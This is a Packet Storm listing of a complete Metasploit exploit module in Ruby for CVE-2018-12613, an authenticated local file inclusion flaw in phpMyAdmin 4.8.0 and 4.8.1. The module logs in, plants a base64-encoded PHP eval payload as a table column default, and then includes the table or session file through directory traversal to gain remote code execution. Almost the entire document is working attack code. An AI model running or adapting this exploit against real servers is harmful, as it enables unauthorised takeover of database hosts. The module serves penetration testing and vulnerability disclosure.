Lucene search

K
packetstormJacob RoblesPACKETSTORM:148534
HistoryJul 12, 2018 - 12:00 a.m.

phpMyAdmin Authenticated Remote Code Execution

2018-07-1200:00:00
Jacob Robles
packetstormsecurity.com
48

0.974 High

EPSS

Percentile

99.9%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'phpMyAdmin Authenticated Remote Code Execution',  
'Description' => %q{  
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,  
which can be exploited post-authentication to execute PHP code by  
application. The module has been tested with phpMyAdmin v4.8.1.  
},  
'Author' =>  
[  
'ChaMd5', # Vulnerability discovery and PoC  
'Henry Huang', # Vulnerability discovery and PoC  
'Jacob Robles' # Metasploit Module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'BID', '104532' ],  
[ 'CVE', '2018-12613' ],  
[ 'CWE', '661' ],  
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ],  
[ 'URL', 'https://www.secpulse.com/archives/72817.html' ],  
[ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ]  
],  
'Privileged' => false,  
'Platform' => [ 'php' ],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'Windows', {} ],  
[ 'Linux', {} ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 19 2018'))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),  
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),  
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])  
])  
end  
  
def check  
begin  
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })  
rescue  
vprint_error("#{peer} - Unable to connect to server")  
return Exploit::CheckCode::Unknown  
end  
  
if res.nil? || res.code != 200  
vprint_error("#{peer} - Unable to query /js/messages.php")  
return Exploit::CheckCode::Unknown  
end  
  
# v4.8.0 || 4.8.1 phpMyAdmin  
if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/  
version = Gem::Version.new($1)  
vprint_status("#{peer} - phpMyAdmin version: #{version}")  
  
if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1')  
return Exploit::CheckCode::Appears  
end  
return Exploit::CheckCode::Safe  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
def query(uri, qstring, cookies, token)  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'import.php'),  
'cookie' => cookies,  
'vars_post' => Hash[{  
'sql_query' => qstring,  
'db' => '',  
'table' => '',  
'token' => token  
}.to_a.shuffle]  
})  
end  
  
def lfi(uri, data_path, cookies, token)  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, 'index.php'),  
'cookie' => cookies,  
'encode_params' => false,  
'vars_get' => {  
'target' => "db_sql.php%253f#{'/..'*16}#{data_path}"  
}  
})  
end  
  
def exploit  
unless check == Exploit::CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')  
end  
  
uri = target_uri.path  
vprint_status("#{peer} - Grabbing CSRF token...")  
  
response = send_request_cgi({'uri' => uri})  
  
if response.nil?  
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")  
elsif response.body !~ /token"\s*value="(.*?)"/  
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")  
end  
token = Rex::Text.html_decode($1)  
  
if target.name =~ /Automatic/  
/\((?<srv>Win.*)?\)/ =~ response.headers['Server']  
mytarget = srv.nil? ? 'Linux' : 'Windows'  
else  
mytarget = target.name  
end  
  
vprint_status("#{peer} - Identified #{mytarget} target")  
  
#Pull out the last two cookies  
cookies = response.get_cookies  
cookies = cookies.split[-2..-1].join(' ')  
  
vprint_status("#{peer} - Retrieved token #{token}")  
vprint_status("#{peer} - Retrieved cookies #{cookies}")  
vprint_status("#{peer} - Authenticating...")  
  
login = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, 'index.php'),  
'cookie' => cookies,  
'vars_post' => {  
'token' => token,  
'pma_username' => datastore['USERNAME'],  
'pma_password' => datastore['PASSWORD']  
}  
})  
  
if login.nil? || login.code != 302  
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")  
end  
  
#Ignore the first cookie  
cookies = login.get_cookies  
cookies = cookies.split[1..-1].join(' ')  
vprint_status("#{peer} - Retrieved cookies #{cookies}")  
  
login_check = send_request_cgi({  
'uri' => normalize_uri(uri, 'index.php'),  
'vars_get' => { 'token' => token },  
'cookie' => cookies  
})  
  
if login_check.nil?  
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")  
elsif login_check.body.include? 'Welcome to'  
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")  
elsif login_check.body !~ /token"\s*value="(.*?)"/  
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")  
end  
token = Rex::Text.html_decode($1)  
  
vprint_status("#{peer} - Authentication successful")  
  
#Generating strings/payload  
database = rand_text_alpha_lower(5)  
table = rand_text_alpha_lower(5)  
column = rand_text_alpha_lower(5)  
col_val = "'<?php eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\")); ?>'"  
  
  
#Preparing sql queries  
dbsql = "CREATE DATABASE #{database};"  
tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});"  
dropsql = "DROP DATABASE #{database};"  
dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";'  
  
#Create database  
res = query(uri, dbsql, cookies, token)  
if res.nil? || res.code != 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database")  
end  
  
#Create table and column  
res = query(uri, tablesql, cookies, token)  
if res.nil? || res.code != 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table")  
end  
  
#Find datadir  
res = query(uri, dirsql, cookies, token)  
if res.nil? || res.code != 200  
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")  
end  
  
unless res.body =~ /^<td data.*?>(.*)?</  
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")  
end  
  
#Creating include path  
if mytarget == 'Windows'  
#Table file location  
data_path = $1.gsub(/\\/, '/')  
data_path = data_path.sub(/^.*?\//, '/')  
data_path << "#{database}/#{table}.frm"  
else  
#Session path location  
/phpMyAdmin=(?<session_name>.*?);/ =~ cookies  
data_path = "/var/lib/php/sessions/sess_#{session_name}"  
end  
  
res = lfi(uri, data_path, cookies, token)  
  
#Drop database  
res = query(uri, dropsql, cookies, token)  
if res.nil? || res.code != 200  
print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.")  
end  
end  
end  
`